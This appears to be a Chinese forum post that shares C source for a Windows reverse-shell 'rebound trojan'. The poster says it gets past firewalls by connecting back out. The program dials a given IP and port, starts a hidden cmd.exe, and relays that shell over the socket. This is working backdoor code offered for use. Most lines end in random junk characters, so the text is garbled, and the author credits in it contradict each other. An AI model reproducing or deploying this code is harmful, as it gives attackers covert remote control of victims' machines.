这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 S2K#[mDG
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/* ============================== 8#X_#
Rebound port in Windows NT PLA#!$c7q
By wind,2006/7 rp's
===============================*/ m\ S\3n
#include JoZ(_Jh%m
#include *fnvZw?
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#pragma comment(lib,"wsock32.lib") d'"r("w#
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void OutputShell(); sw;|'N$:<
SOCKET sClient; 0[xpEiDx
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; oC*=JJe,
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void main(int argc,char **argv) BT,b-=
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{ \X|sU:g
WSADATA stWsaData; yNCEz/4
int nRet; w0w1PE-V=
SOCKADDR_IN stSaiClient,stSaiServer; h3!$r~T!a:
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if(argc != 3) #%$28sxB
{ wL}l`fRB
printf("Useage:\n\rRebound DestIP DestPort\n"); };,/0Fu
return; v.&>Ih/L
} GZ3 ]N
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WSAStartup(MAKEWORD(2,2),&stWsaData); }Fa%%}
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 5~H#(d<oZ
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stSaiClient.sin_family = AF_INET; DyO$P#~?
stSaiClient.sin_port = htons(0); 7
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stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); mi,&0xDea
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) e6E?t[hEeS
{ R>/NE!q
printf("Bind Socket Failed!\n"); xY<{qHcX
return; Vh|\ _~9
} 0w=R_C)s
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stSaiServer.sin_family = AF_INET; t2>fmQIQ
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 7Nzbz3
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); VT%:zf
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR)
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{ @7oL#-
printf("Connect Error!"); ?D`T7KSe~D
return; HKDID[d0
} 9?<{_'
OutputShell(); aUU7{o_Z
} fCWGAO2
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void OutputShell() QDx$==Fo
{ , %9df+5k
char szBuff[1024]; uXjP`/R|
SECURITY_ATTRIBUTES stSecurityAttributes; m
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OSVERSIONINFO stOsversionInfo; -7
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HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; oczG|_
STARTUPINFO stStartupInfo; `=lc<T^
char *szShell; "N?+VkZEv
PROCESS_INFORMATION stProcessInformation; u #w29Pm
unsigned long lBytesRead; oU*45B`"
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); v'!a\b`9
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); p5r]J +1
stSecurityAttributes.lpSecurityDescriptor = 0; 06q(aI^Ch@
stSecurityAttributes.bInheritHandle = TRUE; -G7TEq)
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); [* ?Awf`
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); T~0k"uTE
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); &-d&t` `
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; u&mS8i}
stStartupInfo.wShowWindow = SW_HIDE; @a:>$t
stStartupInfo.hStdInput = hReadPipe; G+UMBn
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; \R36w^c3
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GetVersionEx(&stOsversionInfo); .Z:zZ_Ev
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switch(stOsversionInfo.dwPlatformId) VXLT^iX
{ {(U %i\F\
case 1: {!t7[Ctb
szShell = "command.com"; ,I1RV
break; 0j"8@<
default: }X*Riu7gk
szShell = "cmd.exe"; D=m'pL/pl
break; #P
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} d)4
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 9l,a^@Y:
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send(sClient,szMsg,77,0); Oy U
while(1) ~T&<CTh
{ NS%WeAf
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); (bsXo
q
if(lBytesRead) ?HF%(>M
{ 6KpHnSW
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); s<qe,'Y
send(sClient,szBuff,lBytesRead,0); +gtrt^:]l
} <:SZAAoIV
else \7Jg7 *
{ V-<GT?
lBytesRead=recv(sClient,szBuff,1024,0); 1%4sHSN
if(lBytesRead<=0) break; Tq]Sn]CSP
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); =jB08A
} wr[,
} At7>V-f}
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return; UfN&v >8f
}